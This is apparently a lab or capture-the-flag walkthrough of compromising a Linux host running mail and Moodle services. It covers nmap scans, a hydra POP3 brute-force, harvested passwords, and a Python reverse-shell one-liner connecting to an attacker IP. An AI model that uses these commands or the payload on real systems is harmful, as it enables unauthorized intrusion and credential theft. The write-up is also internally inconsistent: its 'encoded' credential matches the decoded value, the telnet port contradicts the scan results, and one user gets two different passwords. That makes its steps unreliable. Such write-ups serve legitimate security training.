Network Scanning

Initial discovery of the target machine was performed using NMAP:

nmap 192.168.206.124/24

Target identified at 192.168.206.167 with open ports 25 (SMTP) and 80 (HTTP).

Comprehensive port scan revealed additional services:

nmap 192.168.206.167 -p- -sS -A

Key findings:

• Port 25: Postfix SMTP daemon
• Port 80: Apache HTTP server
• Port 55006: SSL-enabled POP3 Dovecot
• Port 55007: Standard POP3 Dovecot

Web Application Enumeration

Accessing http://192.168.206.167/sev-home/ revealed a login interface. Source code inspection identified a JavaScript file containing encoded credentials:

InvincibleHack3r

Decoded value: InvincibleHack3r

Authentication Bruteforcing

Using discovered credentials with usernames Boris and Natalya, successful authentication achieved with:

boris/InvincibleHack3r

Subsequant POP3 bruteforce atttack conducted:

hydra -L users.txt -P /usr/share/wordlists/fasttrack.txt 192.168.206.167 -s 55007 pop3

Email System Access

POP3 session example:

telnet 192.168.206.167 110
USER boris
PASS InvincibleHack3r
list
retr 1

Email analysis from user natalya revealed:

1. Internal security concerns regarding code-breaking activities
2. New contractor credentials:
   • Username: xenia
   • Password: RCP90rulez!
3. Internal domain: severnaya-station.com/gnocertdir

Additional email from boris contained:

1. Administrator communication about electronic messaging
2. Internal correspondence about code vulnerabilities
3. Suspicious attachment with GoldenEye access codes from alec@janus.boss

User doak email disclosed:

• Username: dr_doak
• Password: 4England!

CMS Exploitation

After updating /etc/hosts with the internal domain, authenticated access to the Moodle 2.2.3 instance was achieved using xenia/RCP90rulez!.

Further enumeration revealed additional users (admin, doak). Bruteforcing doak's password yielded "goat".

Accessing dr_doak's account exposed sensitive information including:

Credentials located at: /dir007key/for-007.jpg

Image metadata extraction revealed base64 encoded string: eFdpbnRlcjE5OTV4IQ==

Decoding produced: xWinter1995x!

Successful administrative login achieved with admin/xWinter1995x!

Reverse Shell Establishment

Exploiting known Moodle 2.2.3 vulnerabilities, reverse shell payload deployed:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.206.138",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Shell obtained through article editing functionality.

Privilege Escalation

System enumeration revealed kernel version 3.13.0. Exploitation leveraged available local privilege escalation exploits targeting this kernel version.

Compilation required modification of build commands, substituting gcc references with cc for successful execution.